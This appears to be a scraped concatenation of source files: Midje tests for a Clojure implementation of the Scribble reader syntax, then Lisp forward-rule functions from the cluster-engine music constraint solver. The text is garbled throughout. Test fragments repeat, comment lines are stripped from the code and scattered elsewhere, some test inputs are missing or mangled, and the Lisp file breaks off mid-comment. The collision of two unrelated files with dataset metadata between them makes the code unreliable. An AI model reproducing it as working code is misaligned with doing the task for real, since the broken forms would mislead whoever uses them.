(fact "EOF right after a Scribble form"
(read-scribble "@foo{bar}")
=>
'(foo ["bar"]))
(fact "EOF right after a Scribble form with an empty command and body parts"
(read-scribble "@foo")
=>
'foo)
; Same behavior as (read-string "; normal comment")
(fact "EOF right after a non-consuming comment"
(read-scribble "@; one two three")
=>
(throws RuntimeException "EOF while reading"))
(fact "EOF right after a consuming comment"
(read-scribble "@;; one two three")
=>
(throws RuntimeException "EOF while reading"))
(fact "almost finished beginning here-string (except for the `{`)"
'@foo`--{`--abc}--`
=>
'(foo ["`--abc"]))
(fact "almost finished ending here-string (except for the `}`)"
'@foo`--{abc}--}--`
=>
'(foo ["abc}--"]))
(fact "comment inside an escaped body part"
'@foo`{abc `@; comment
cba}`
=>
'(foo ["abc" "\n" "cba"]))
(fact "final leading whitespace in an escaped body part"
'@foo`{abc
}`
=>
'(foo ["abc"]))
))
(deftest test-symbol-resolution (facts "about the symbol resolution"
(fact "nil is not ignored"
'@foo{aaa @nil bbb}
=>
'(foo ["aaa " nil " bbb"]))
Add @NaN @Infinity @+Infinity @-Infinity to this test
when CLJ-1074 gets merged .
(fact "literals are resolved"
'@foo{aaa @false bbb @true ccc @/}
=>
'(foo ["aaa " false " bbb " true " ccc " /]))
(fact "known symbols are resolved"
(let [formatter (fn [fmt]
(fn [str-vec] (format fmt (clojure.string/join str-vec))))
bf (formatter "*%s*")
it (formatter "/%s/")
ul (formatter "_%s_")
text clojure.string/join]
@text{@it{Note}: @bf{This is @ul{not} a pipe}.}
=>
"/Note/: *This is _not_ a pipe*."))
))
(deftest test-reader-exceptions (facts "about the reader exceptions"
(fact "unexpected whitespace after the entry character"
(read-scribble "@ foo{bar}")
=>
(throws "Unexpected whitespace at the start of a Scribble form"))
(fact "unexpected EOF after the single entry character"
(read-scribble "@")
=>
(throws "Unexpected EOF at the start of a Scribble form"))
(fact "unexpected EOF after the entry character"
(read-scribble "(def foo @")
=>
(throws "Unexpected EOF at the start of a Scribble form"))
(fact "an exception is thrown if the symbol is invalid"
(read-scribble "@foo::{abc}")
=>
(throws RuntimeException "Invalid token: foo::"))
(fact "unexpected EOF in a body part"
(read-scribble "@foo{abc")
=>
(throws "Unexpected EOF while reading a body part"))
(fact "unexpected EOF in while reading a here-string"
(read-scribble "@``--")
=>
(throws "Unexpected EOF while reading a here-string"))
(fact "invalid characters in a here-string"
(read-scribble "@foo`-@{some text}@-`")
=>
(throws "Here-string contains invalid characters"))
))
| null | https://raw.githubusercontent.com/fjarri/clojure-scribble/ea245abd858596195f31c14d7a59da87377c4f27/test/scribble/reader_test.clj | clojure | so we use its symbols.
(except for the \` instead of \|,
because the latter is not macro-terminating)
))
Unfortunately, the reader that reads from strings does not have
line/column metadata.
So in order for the whitespace truncation to work properly,
we need to use the main reader.
Tests for the reader macro
is a normal comment ,
; is a TeX - like ( whitespace - consuming ) comment
comment
comment
If the beginning { is followed by something other than \n,
all indentation is counted from it.
If the indentation of the line is bigger, the base indentation
is subtracted from it.
the starting indentation is taken from the leftmost non-empty line.
non-consuming comment
Missing command part
Command part only
A regression for a bug in the body part reader logic
Here strings
check that there is no off-by-one error because the delimiter is
Empty blocks
The Command Part
Since I do not feel like parsing all the custom reader macros in existence,
everything after @ that does not look like a symbol gets passed
Therefore various quotes appearing after @ get applied to whatever
{some text
} baz}
{blah
}
{comment}
A difference from the orignial Scribble:
Since we allow multiple body parts after a command,
they all get consumed.
Racket Expression Escapes
These tests were added specifically to cover all the branches.
Contain various corner cases.
Same behavior as (read-string "; normal comment")
comment | (ns scribble.reader-test
(:import [java.lang RuntimeException])
(:use [midje.sweet])
(:require [clojure.test :refer :all]
[scribble.core :refer :all]
[scribble.settings :refer :all]))
Tests were taken from the orignal Scribble documentation ,
(use-scribble scribble-settings)
For exception tests , and cases where EOF at a certain place is needed .
(defn read-scribble [s]
(with-scribble scribble-settings (read-string s)))
Mostly taken from -lang.org/scribble/reader.html
(deftest test-reader-syntax (facts "about the syntax"
(fact "a whitespace between a line comment and a newline is discarded"
blah}
=>
'(foo ["bar" "\n"
"baz" "\n"
"blah"]))
(fact "a consuming comment joins lines"
blah}
=>
'(foo ["bar bazblah"]))
The Scribble Syntax at a Glance
(fact "a simple line"
'@foo{blah blah blah}
=>
'(foo ["blah blah blah"]))
(fact "quotes in a body part"
'@foo{blah "blah" (`blah'?)}
=>
'(foo ["blah \"blah\" (`blah'?)"]))
(fact "a normal block and a body part"
'@foo[1 2]{3 4}
=>
'(foo 1 2 ["3 4"]))
(fact "a single normal block"
'@foo[1 2 3 4]
=>
'(foo 1 2 3 4))
(fact "a non-trivial syntax in a normal block"
'@foo[:width 2]{blah blah}
=>
'(foo :width 2 ["blah blah"]))
If it is smaller , it is discarder completely .
NOTE : currently 1 \tab = 1 \space . Clojure 's reader counts
\tab as one symbol anyway .
(fact "leading indentation is truncated"
'@foo{blah blah
yada yada
ddd
ttt}
=>
'(foo ["blah blah" "\n"
"yada yada" "\n"
" " "ddd" "\n"
"ttt"]))
(fact "leading indentation is truncated in front of nested forms"
'@foo{blah blah
@yada{yada}
@ddd{ttt}}
=>
'(foo ["blah blah" "\n"
(yada ["yada"]) "\n"
" " (ddd ["ttt"])]))
If the beginning { is directly followed by ,
(fact "leading indentation and the starting newline are truncated"
'@foo{
blah blah
yada yada
ddd
ttt
}
=>
'(foo [
" " "blah blah" "\n"
" " "yada yada" "\n"
" " "ddd" "\n"
"\n"
"ttt"]))
(fact "leading indentation with nested forms is truncated"
'@foo{bar @baz{3}
blah}
=>
'(foo ["bar " (baz ["3"]) "\n"
"blah"]))
(fact "leading indentation with nested forms in the beginning is truncated"
'@foo{@b{@u[3] @u{4}}
blah}
=>
'(foo [(b [(u 3) " " (u ["4"])]) "\n"
"blah"]))
(fact "whitespace is attached to the text at the ends of a body part"
'@foo{ aa
b
c }
=>
'(foo [" aa" "\n" "b" "\n" "c "]))
(fact "missing command part"
'@{blah blah}
=>
'(["blah blah"]))
(fact "missing command part with a nested form"
'@{blah @[3]}
=>
'(["blah " (3)]))
(fact "missing command part with multiline text"
'@{foo
bar
baz}
=>
'(["foo" "\n"
"bar" "\n"
"baz"]))
(fact "command part only"
'@foo
=>
'foo)
(fact "command part only in a body part"
'@{blah @foo blah}
=>
'(["blah " foo " blah"]))
' : ' in identifiers has special meaning in Clojure , so changed it to ' - '
(fact "non-trivial command in a body part"
'@{blah @foo- blah}
=>
'(["blah " foo- " blah"]))
(fact "escaped command in a body part"
'@{blah @`foo`- blah}
=>
'(["blah " foo "- blah"]))
(fact "body part resumes right after an escaped command"
'@{blah @`foo`[3] blah}
=>
'(["blah " foo "[3] blah"]))
(fact "arbitrary form as a command"
'@foo{(+ 1 2) -> @(+ 1 2)!}
=>
'(foo ["(+ 1 2) -> " (+ 1 2) "!"]))
(fact "a command-like string is attached to the surrounding text"
'@foo{A @"string" escape}
=>
'(foo ["A string escape"]))
(fact "the entry character wrapped in a string"
'@foo{eli@"@"barzilay.org}
=>
'(foo [""]))
(fact "the body part delimiter wrapped in a string"
'@foo{A @"{" begins a block}
=>
'(foo ["A { begins a block"]))
(fact "balanced body part delimiters do not require escaping"
'@C{while (*(p++)) {
}}
=>
'(C ["while (*(p++)) {" "\n"
" " "*p = '\\n';" "\n"
"}"]))
(fact "body part delimiters at the beginning of a body part work correctly"
'@foo{{{}}{}}
=>
'(foo ["{{}}{}"]))
(fact "unbalanced body part delimiters in an escaped body part"
'@foo`{bar}@{baz}`
=>
'(foo ["bar}@{baz"]))
(fact "balanced escaped body part delimiters in an escaped body part"
'@foo`{Nesting `{is}` ok}`
=>
'(foo ["Nesting `{is}` ok"]))
(fact "an escaped nested command in an escaped body part"
'@foo`{bar `@x{X} baz}`
=>
'(foo ["bar " (x ["X"]) " baz"]))
(fact "an escaped nested body part in an escaped body part"
'@foo`{bar `@x`{@}` baz}`
=>
'(foo ["bar " (x ["@"]) " baz"]))
two symbols instead of one
(fact "an escaped body part truncates leading indentation properly"
'@foo`{Maze
`@bar{is}
Life!
blah blah}`
=>
'(foo ["Maze" "\n"
(bar ["is"]) "\n"
"Life!" "\n"
" " "blah blah"]))
(fact "an escaped body part with delimiters"
'@foo`--{bar}@`{baz}--`
=>
'(foo ["bar}@`{baz"]))
(fact "an escaped body part with mirrored delimiters"
'@foo`<(-[{bar}@`{baz}]-)>`
=>
'(foo ["bar}@`{baz"]))
(fact "an escaped body part with a nested form"
'@foo`!!{X `!!@b{Y}...}!!`
=>
'(foo ["X " (b ["Y"]) "..."]))
(fact "an empty normal block is ignored"
'@foo[]{bar} => '(foo ["bar"]))
(fact "an empty normal block and a missing body part result in a form"
'@foo[] => '(foo))
(fact "a single command is read as a symbol"
'@foo => 'foo)
(fact "an empty body part results in an empty text container"
'@foo{} => '(foo []))
Difference from the original Scribble !
to the Clojure reader .
Clojure syntax tells them to ( that is , to the form that
immediately follows ) , not the whole Scribble form .
(fact "stacked reader macros work"
'@'~@@foo{blah}
=>
''~@(foo ["blah"]))
(fact "command can be any expression"
'@(lambda (x) x){blah}
=>
'((lambda (x) x) ["blah"]))
(fact "reader macros and expression-command work together"
'@@(unquote foo){blah}
=>
'(@(unquote foo) ["blah"]))
(fact "command and normal part can be omitted"
'@{foo bar
baz}
=>
'(["foo bar" "\n"
"baz"]))
(fact "a lone body part can be escaped"
'@``{abcde}` => '(["abcde"]))
(fact "a lone body part can be escaped with delimiters"
'@``-abc{abcde}cba-` => '(["abcde"]))
(fact "a comment form glues surrounding strings"
with newlines
=>
'(foo ["bar baz"]))
(fact "a comment form does not break whitespace truncation"
baz}
=>
'(foo ["bar" "\n" " " "baz"]))
(fact "a comment from works in normal mode"
2]
=>
'(foo bar 2))
The original Scribble produces ` ( ( foo " bar " ) " baz " ) ` .
(fact "Scribble form as a command"
'@@foo{bar}{baz}
=>
'(foo ["bar"] ["baz"]))
(fact "the end of a standalone symbol is detected properly"
'@foo{foo@bar.}
=>
'(foo ["foo" bar.]))
(fact "text in an escaped expression is not merged with the surrounding text"
'@foo{x@`"y"`z}
=>
'(foo ["x" "y" "z"]))
(fact "a number as a standalone expression"
'@foo{foo@3.}
=>
'(foo ["foo" 3.0]))
(fact "a number as an escaped expression"
'@foo{foo@`3`.}
=>
'(foo ["foo" 3 "."]))
(fact "escaped expression with multiple forms is spliced"
'@foo{x@`1 (+ 2 3) 4`y}
=>
'(foo ["x" 1 (+ 2 3) 4 "y"]))
(fact "escaped expression with a line break"
'@foo{x@`*
*`y}
=>
'(foo ["x" *
* "y"]))
(fact "an empty escaped expression"
'@foo{Alice@` `Bob@`
`Carol}
=>
'(foo ["Alice" "Bob"
"Carol"]))
Spaces , Newlines , and Indentation
(fact "eee"
'@foo{
}
=>
'(foo ["\n"]))
(fact "ewew"
'@foo{
bar
})
))
(deftest test-reader-coverage (facts "about the coverage"
(fact "EOF right after a Scribble form"
(read-scribble "@foo{bar}")
=>
'(foo ["bar"]))
(fact "EOF right after a Scribble form with an empty command and body parts"
(read-scribble "@foo")
=>
'foo)
(fact "EOF right after a non-consuming comment"
(read-scribble "@; one two three")
=>
(throws RuntimeException "EOF while reading"))
(fact "EOF right after a consuming comment"
(read-scribble "@;; one two three")
=>
(throws RuntimeException "EOF while reading"))
(fact "almost finished beginning here-string (except for the `{`)"
'@foo`--{`--abc}--`
=>
'(foo ["`--abc"]))
(fact "almost finished ending here-string (except for the `}`)"
'@foo`--{abc}--}--`
=>
'(foo ["abc}--"]))
(fact "comment inside an escaped body part"
cba}`
=>
'(foo ["abc" "\n" "cba"]))
(fact "final leading whitespace in an escaped body part"
'@foo`{abc
}`
=>
'(foo ["abc"]))
))
(deftest test-symbol-resolution (facts "about the symbol resolution"
(fact "nil is not ignored"
'@foo{aaa @nil bbb}
=>
'(foo ["aaa " nil " bbb"]))
Add @NaN @Infinity @+Infinity @-Infinity to this test
when CLJ-1074 gets merged .
(fact "literals are resolved"
'@foo{aaa @false bbb @true ccc @/}
=>
'(foo ["aaa " false " bbb " true " ccc " /]))
(fact "known symbols are resolved"
(let [formatter (fn [fmt]
(fn [str-vec] (format fmt (clojure.string/join str-vec))))
bf (formatter "*%s*")
it (formatter "/%s/")
ul (formatter "_%s_")
text clojure.string/join]
@text{@it{Note}: @bf{This is @ul{not} a pipe}.}
=>
"/Note/: *This is _not_ a pipe*."))
))
(deftest test-reader-exceptions (facts "about the reader exceptions"
(fact "unexpected whitespace after the entry character"
(read-scribble "@ foo{bar}")
=>
(throws "Unexpected whitespace at the start of a Scribble form"))
(fact "unexpected EOF after the single entry character"
(read-scribble "@")
=>
(throws "Unexpected EOF at the start of a Scribble form"))
(fact "unexpected EOF after the entry character"
(read-scribble "(def foo @")
=>
(throws "Unexpected EOF at the start of a Scribble form"))
(fact "an exception is thrown if the symbol is invalid"
(read-scribble "@foo::{abc}")
=>
(throws RuntimeException "Invalid token: foo::"))
(fact "unexpected EOF in a body part"
(read-scribble "@foo{abc")
=>
(throws "Unexpected EOF while reading a body part"))
(fact "unexpected EOF in while reading a here-string"
(read-scribble "@``--")
=>
(throws "Unexpected EOF while reading a here-string"))
(fact "invalid characters in a here-string"
(read-scribble "@foo`-@{some text}@-`")
=>
(throws "Here-string contains invalid characters"))
))
|
b4dcbfaba357dc8c4e7c996f6a44964625a01e9547c5733e8d163ae1cd82228e | tanders/cluster-engine | 03.Fwd-rules.lisp | (in-package cluster-engine)
;;;;;;;;;;;;;;;;;
Fwd - rule1 is just to always get a solution . It does NOT balance engines .
(defun fwd-rule1 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"Very simple: shortest index next, in order of default order"
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
vsolution ;this is just here to avoid error message when compiled
(if (aref vbacktrack-history 0)
(progn (pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0))) ;forward to last backtracked engine
(let ((min-index (apply 'min (loop for n in (aref vdefault-engine-order 0) collect (aref vindex n)))))
(declare (type fixnum min-index))
(loop for engine in (aref vdefault-engine-order 0)
while (/= (aref vindex engine) min-index)
finally (return engine)))))
;;;;;;;;;;;;;;;;;
;Fwd-rule-indep does not take backtrack history into consideration.
(defun fwd-rule-indep (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"Backtrack route is poped just to keep the list short. This could be removed.
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(when (aref vbacktrack-history 0)
(progn (pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))) ;pop backtracked engine just to make the list shorter..
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type number max-voice-length min-voice-length)) ; length-metric-engin
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
;;;;;;;;;;;;;;;;;
Fwd - rule2 expects a matching rhythm engine for every pitch engine ( a pitch engine without rhythm will be skipped ) .
;It also expects a metric engine (it will crash without one).
(defun fwd-rule2 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"If there is a backtrack routed, forward that engine (and pop the list).
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(if (aref vbacktrack-history 0)
(progn (pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0))) ;forward to last backtracked engine
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type number max-voice-length min-voice-length)) ; length-metric-engin
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
)))
;;;---
(defun fwd-rule3 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"This forward rule takes the index of the backtracked index into consideration.
If backtrack route is not at index, make a free choice.
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(cond ((= (1+ (aref vindex (car (aref vbacktrack-history 0)))) (car (aref vbacktrack-history 1)))
;if proposed backtrack engine is at the same index as at the point of backtracking: forward to this engine
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule3 (pop (aref vbacktrack-history 0))))
((> (1+ (aref vindex (car (aref vbacktrack-history 0)))) (car (aref vbacktrack-history 1)))
;if proposed backtrack engine is at a higher index than at the point of backtracking: loop backtrack-info until
;an index within the range is found.
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))
(t
;if proposed backtrack engine is at a lower index than at the point of backtracking: return from loop and let other
;forward rules determine (until index will catch up).
(return nil))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type number max-voice-length min-voice-length)) ; length-metric-engin
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
;;;---
(defun fwd-rule4 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"This forward rule takes the index of the backtracked index into consideration.
If backtrack engine is not at index, backtrack engine without poping it (i.e. step forward this
engine and assign variables until index has caught up).
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(cond ((= (1+ (aref vindex (car (aref vbacktrack-history 0)))) (car (aref vbacktrack-history 1)))
;if proposed backtrack engine is at the same index as at the point of backtracking: forward to this engine
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule4 (pop (aref vbacktrack-history 0))))
((> (1+ (aref vindex (car (aref vbacktrack-history 0)))) (car (aref vbacktrack-history 1)))
;if proposed backtrack engine is at a higher index than at the point of backtracking: loop backtrack-info until
;an index within the range is found.
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))
(t
;if proposed backtrack engine is at a lower index than at the point of backtracking: forward this engine
;without poping it (until index will catch up).
(return-from fwd-rule4 (car (aref vbacktrack-history 0))))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type number max-voice-length min-voice-length)) ; length-metric-engin
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
;;;---
(defun fwd-rule5 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"This forward rule takes the COUNT VALUE of the backtracked index into consideration.
If the backtracked engine is not at the count value, backtrack that engine without poping it (to catch up).
The metric layer considers index instead of count value.
Count value has the problem that rests are not counted in rhythm engines. Rests could slip trhough the system
and cause the engine to only generate rests for a backtracked engine.
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(progn (when (= (car (aref vbacktrack-history 0)) (1- number-of-engines))
;if the proposed backtrack engine is the metric engine, just bactrack it.
;This can definitely be more elegant done (i.e. more efficient)
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule5 (pop (aref vbacktrack-history 0))))
(let ((current-index-total-notecount (if (>= (aref vindex (car (aref vbacktrack-history 0))) 0)
(get-current-index-total-notecount (car (aref vbacktrack-history 0)) vindex vsolution)
0)))
(declare (type fixnum current-index-total-notecount))
(cond
((= current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has the same number of notes (or pitches) than at the moment of backtracking: forward to this engine
;and pop it
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule5 (pop (aref vbacktrack-history 0))))
((< current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has a lower number of notes (or pitches) than at the moment of backtracking: forward according to
;general rules (until the number of notes will catch up).
;The reason for this is that rests in rhythm engines arenot counted and can make the system only pick rests (since count value
will not change ) . Change this in rule6 when time pont is considered ....
(return nil))
((> current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has a higher number of notes (or pitches) than at the moment of backtracking: loop backtrack-info until
;an index within the range is found.
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0))
)))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type number max-voice-length min-voice-length)) ; length-metric-engin
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
;;;---
(defun fwd-rule6 (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"This forward rule takes the COUNT VALUE AND TIME POINT of the backtracked index into consideration.
If the backtracked engine is not at the count value (pitch engine) or time point (rhythm engine/metric engine),
backtrack that engine without poping it (to catch up).
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(if (evenp (car (aref vbacktrack-history 0)))
;if the proposed backtrack engine has a time line, i.e. it is a metric or rhythm engine:
Compare cureent end time with start time at the previous moment of backtracking
(let ((current-index-end-time (get-current-index-endtime (car (aref vbacktrack-history 0)) vindex vsolution)))
(cond ((= current-index-end-time (car (aref vbacktrack-history 3)))
;if the proposed backtrack engine has the same end time as at the moment of backtracking: forward to this engine
;and pop it
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule6 (pop (aref vbacktrack-history 0))))
((< current-index-end-time (car (aref vbacktrack-history 3)))
;if the proposed backtrack engine has an earlier end time than at the moment of backtracking: forward this engine
;without poping it (until the number of notes will catch up).
(return-from fwd-rule6 (car (aref vbacktrack-history 0))))
((> current-index-end-time (car (aref vbacktrack-history 3)))
;if the proposed backtrack engine has a later end time than at the moment of backtracking: loop backtrack-info until
;a time point within the range is found.
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0)))))
;else (if it is a pitch engine)
(let ((current-index-total-notecount (if (>= (aref vindex (car (aref vbacktrack-history 0))) 0)
(get-current-index-total-notecount (car (aref vbacktrack-history 0)) vindex vsolution)
0)))
(declare (type fixnum current-index-total-notecount))
(cond
((= current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has the same number of notes (or pitches) than at the moment of backtracking: forward to this engine
;and pop it
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule6 (pop (aref vbacktrack-history 0))))
((< current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has a lower number of notes (or pitches) than at the moment of backtracking: forward this engine
;without poping it (until the number of notes will catch up).
(return-from fwd-rule6 (car (aref vbacktrack-history 0))))
((> current-index-total-notecount (car (aref vbacktrack-history 2)))
;if the proposed backtrack engine has a higher number of notes (or pitches) than at the moment of backtracking: loop backtrack-info until
;an index within the range is found.
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(pop (aref vbacktrack-history 0))
)))))
(let* ((length-metric-engine (if (/= (aref vindex (car (aref vdefault-engine-order 3))) -1)
(get-current-index-endtime (car (aref vdefault-engine-order 3)) vindex vsolution) 0))
(all-voices-total-length (get-total-duration-all-rhythm-engines vsolution vindex vdefault-engine-order))
(max-voice-length (apply 'max all-voices-total-length))
(min-voice-length (apply 'min all-voices-total-length))
pitch-engine-with-missing-pitches)
(declare (type number max-voice-length min-voice-length)) ; length-metric-engin
(declare (type list all-voices-total-length))
(declare (type t pitch-engine-with-missing-pitches))
(cond ((<= length-metric-engine max-voice-length)
(car (aref vdefault-engine-order 3)))
((setf pitch-engine-with-missing-pitches (find-pitch-engine-with-missing-pitches vsolution vindex vdefault-engine-order))
pitch-engine-with-missing-pitches)
(t (find-shortest-rhythm-engine min-voice-length all-voices-total-length vdefault-engine-order)))
))
;;;---
(defun fwd-rule6B (vsolution vindex vbacktrack-history vdefault-engine-order number-of-engines)
"Identical to fwd-rule6 but:
If the backtracked engine is not at the count value (pitch engine) or time point (rhythm engine/metric engine),
backtrack according to general rules.
1. Metric structure has to be longest.
2. Fill out pitches (for durations without pitches) in all voices - start with the voice with highest priority.
3. Search for rhythm in the voice that is most behind. If two or more are equal, the default search order determines
which voice to search next."
(declare (type array vsolution vindex vbacktrack-history vdefault-engine-order))
(declare (type fixnum number-of-engines))
(loop
while (aref vbacktrack-history 0)
do
(if (evenp (car (aref vbacktrack-history 0)))
;if the proposed backtrack engine has a time line, i.e. it is a metric or rhythm engine:
Compare cureent end time with start time at the previous moment of backtracking
(let ((current-index-end-time (get-current-index-endtime (car (aref vbacktrack-history 0)) vindex vsolution)))
(cond ((= current-index-end-time (car (aref vbacktrack-history 3)))
;if the proposed backtrack engine has the same end time as at the moment of backtracking: forward to this engine
;and pop it
(pop (aref vbacktrack-history 3))
(pop (aref vbacktrack-history 2))
(pop (aref vbacktrack-history 1))
(return-from fwd-rule6B (pop (aref vbacktrack-history 0))))
((< current-index-end-time (car (aref vbacktrack-history 3)))
;if the proposed backtrack engine has an earlier end time than at the moment of backtracking: forward this engine
;without poping it (until the number of notes will catch up).
(return nil))
((> current-index-end-time (car (aref vbacktrack-history 3)))
;if the proposed backtrack engine has a later end time than at the moment of backtracking: loop backtrack-info until
